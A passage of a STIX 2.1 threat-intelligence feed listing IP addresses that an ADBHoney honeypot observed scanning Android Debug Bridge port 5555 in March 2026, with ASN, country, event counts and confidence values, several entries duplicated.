      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-05T21:37:33.000Z | last_seen=2026-03-05T21:38:54.380Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5eb66a91-d2e2-4875-ab7e-02eb06af0937",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:00:02.000Z",
      "valid_until": "2026-04-06T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-05T21:37:33.000Z",
          "last_seen": "2026-03-05T21:38:54.380Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-05T21:37:33.000Z | last_seen=2026-03-05T21:38:54.380Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--5eb66a91-d2e2-4875-ab7e-02eb06af0937",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T22:00:02.000Z",
      "valid_until": "2026-04-06T22:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-05T21:37:33.000Z",
          "last_seen": "2026-03-05T21:38:54.380Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T23:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=VN; asn=152978; asn_org=PHB Digital Technology Solutions Company Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-05T22:48:18.000Z | last_seen=2026-03-05T23:10:07.512Z | ports=5555 | cc=VN | asn=152978 | org=PHB Digital Technology Solutions Company Limited",
      "id": "indicator--9c94e1a1-73e4-4034-aa8c-0e92d3e37975",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '160.30.159.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:00:19.000Z",
      "valid_until": "2026-04-06T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-05T22:48:18.000Z",
          "last_seen": "2026-03-05T23:10:07.512Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "152978"
          ],
          "org": [
            "PHB Digital Technology Solutions Company Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-05T23:00:19.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=11 | first_seen=2026-03-05T22:31:48.000Z | last_seen=2026-03-15T16:01:09.658Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--87b729c3-0a16-478c-ae71-20a776fe9acb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-05T23:00:19.000Z",
      "valid_until": "2026-04-06T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 11,
          "first_seen": "2026-03-05T22:31:48.000Z",
          "last_seen": "2026-03-15T16:01:09.658Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=32 | first_seen=2026-03-06T00:30:54.000Z | last_seen=2026-03-30T01:38:34.108Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:00:03.000Z",
      "valid_until": "2026-04-07T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 32,
          "first_seen": "2026-03-06T00:30:54.000Z",
          "last_seen": "2026-03-30T01:38:34.108Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-06T00:29:45.000Z | last_seen=2026-03-06T00:30:46.803Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2a38204a-0727-43c2-bfe8-c21bd1ce8271",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:00:03.000Z",
      "valid_until": "2026-04-07T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-06T00:29:45.000Z",
          "last_seen": "2026-03-06T00:30:46.803Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=32 | first_seen=2026-03-06T00:30:54.000Z | last_seen=2026-03-30T01:38:34.108Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--da507950-a9ce-46b4-b0f5-189c4db90778",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:00:04.000Z",
      "valid_until": "2026-04-07T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 32,
          "first_seen": "2026-03-06T00:30:54.000Z",
          "last_seen": "2026-03-30T01:38:34.108Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-06T00:29:45.000Z | last_seen=2026-03-06T00:30:46.803Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2a38204a-0727-43c2-bfe8-c21bd1ce8271",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T01:00:04.000Z",
      "valid_until": "2026-04-07T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-06T00:29:45.000Z",
          "last_seen": "2026-03-06T00:30:46.803Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-06T01:28:45.000Z | last_seen=2026-03-06T01:40:07.973Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d2aeb56a-136d-4315-a5f6-f3ec2deb75ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.223.117.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:00:02.000Z",
      "valid_until": "2026-04-07T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-06T01:28:45.000Z",
          "last_seen": "2026-03-06T01:40:07.973Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-06T01:28:45.000Z | last_seen=2026-03-06T01:40:07.973Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d2aeb56a-136d-4315-a5f6-f3ec2deb75ce",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.223.117.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T02:00:02.000Z",
      "valid_until": "2026-04-07T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 17,
          "first_seen": "2026-03-06T01:28:45.000Z",
          "last_seen": "2026-03-06T01:40:07.973Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T02:13:07.191Z | last_seen=2026-03-06T02:18:07.264Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--bd0d852f-8de9-4372-9fd4-6d4e0bf346ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '209.38.136.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:00:03.000Z",
      "valid_until": "2026-04-07T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T02:13:07.191Z",
          "last_seen": "2026-03-06T02:18:07.264Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-06T02:08:15.000Z | last_seen=2026-03-23T03:21:12.178Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--e701ab2b-a464-4cf2-85c6-154c3d7464a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:00:03.000Z",
      "valid_until": "2026-04-07T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-06T02:08:15.000Z",
          "last_seen": "2026-03-23T03:21:12.178Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-06T02:13:07.191Z | last_seen=2026-03-06T02:18:07.264Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--bd0d852f-8de9-4372-9fd4-6d4e0bf346ab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '209.38.136.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:00:03.000Z",
      "valid_until": "2026-04-07T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-06T02:13:07.191Z",
          "last_seen": "2026-03-06T02:18:07.264Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=18 | first_seen=2026-03-06T02:08:15.000Z | last_seen=2026-03-23T03:21:12.178Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--e701ab2b-a464-4cf2-85c6-154c3d7464a7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '78.128.114.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T03:00:03.000Z",
      "valid_until": "2026-04-07T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 18,
          "first_seen": "2026-03-06T02:08:15.000Z",
          "last_seen": "2026-03-23T03:21:12.178Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-06T03:55:00.000Z | last_seen=2026-03-06T04:06:39.291Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--10c785ad-b1aa-40d9-8c3b-01ccc59f1c6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:00:03.000Z",
      "valid_until": "2026-04-07T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-06T03:55:00.000Z",
          "last_seen": "2026-03-06T04:06:39.291Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T04:00:20.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-06T03:55:00.000Z | last_seen=2026-03-06T04:06:39.291Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--10c785ad-b1aa-40d9-8c3b-01ccc59f1c6c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-06T04:00:20.000Z",
      "valid_until": "2026-04-07T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-06T03:55:00.000Z",
          "last_seen": "2026-03-06T04:06:39.291Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-06T05:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=17 | first_seen=2026-03-06T04:54:29.000Z | last_seen=2026-03-06T05:05:27.703Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--8c58baa8-784f-4a8f-82f6-86a466d587e4",
      "labels": [
        "scanning_host",
        "nadsec",
